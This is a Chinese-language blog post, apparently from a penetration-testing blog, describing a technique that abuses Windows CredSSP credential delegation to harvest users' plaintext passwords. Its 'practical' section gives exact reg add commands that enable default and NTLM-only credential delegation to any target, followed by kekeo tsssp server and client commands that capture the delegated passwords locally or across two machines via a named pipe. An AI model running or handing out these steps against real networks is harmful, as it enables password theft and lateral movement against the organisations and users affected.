CredSSP 导出用户HASH

作者: const27 分类: All,内网, 发布时间: 2020-10-23 07:59

CredSSP协议的目的是将用户的明文密码从CredSSP客户端委派给CredSSP服务器。 通常运用于远程桌面服务。

我们在配置这个协议时,一般在组策略编辑器里配置。

Allow delegating default credentials表示在通过使用受信任的X509证书或Kerberos实现服务器身份验证时自动发送当前用户的凭据,即明文密码。

Allow delegating default credentials with NTLM-only server authentication表示在通过NTLM实现服务器身份验证时自动发送当前用户的凭据,即明文密码。

这几个属性在注册表里对应 HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation。

攻击原理

那么这样看,这个攻击流程就很自然了。
我们要获得两台机器,一台机器当作远程桌面的服务器,一台当作远程桌面的客户端。
在客户端上配置组策略(CREDSSP),使其在远程桌面身份验证时发送明文密码。
然后开始远程桌面验证,在服务器上获得客户端发来的明文密码.

实操

1.通过修改注册表,改变组策略身份验证的凭据策略(选一个),这一步需要管理员权限,本地或域管

reg add hklm\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation /v AllowDefaultCredentials /t REG_DWORD /d 1

reg add hklm\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation /v AllowDefCredentialsWhenNTLMOnly /t REG_DWORD /d 1

reg add hklm\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation /v ConcatenateDefaults_AllowDefault /t REG_DWORD /d 1

reg add hklm\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation /v ConcatenateDefaults_AllowDefNTLMOnly /t REG_DWORD /d 1

reg add hklm\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation\AllowDefaultCredentials /v 1 /t REG_SZ /d *

reg add hklm\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation\AllowDefCredentialsWhenNTLMOnly /v 1 /t REG_SZ /d *

一股脑设置好就完事了。。(用户需重新登陆才生效)

然后开始获取密码

我们刚刚提到需要两台电脑才能获取密码,其实那只是一个模型,一个机器既可以当作客户端又可以当作服务端的。
我们用kekeo实现攻击(本机向本机获取密码时,普通用户即可完成以下操作)

tsssp::server 开启服务端
tsssp::client /target:...   开启客户端,这里的target随便填

那么再回到需要两个机器,一个当服务端一个当客户端的情况吧。

服务端建立: tsssp::server 需要SYSTEM权限

客户端链接: tsssp::client /target:服务端的SPN(一般采用TERMSRV服务) /pipe: \\服务端域名\pipe\kekeo_tsssp_endpoint 普通用户权限即可

如果觉得我的文章对您有用,请随意打赏。您的支持将鼓励我继续创作!

Leave a Reply

Your email address will not be published. Required fields are marked *

标签云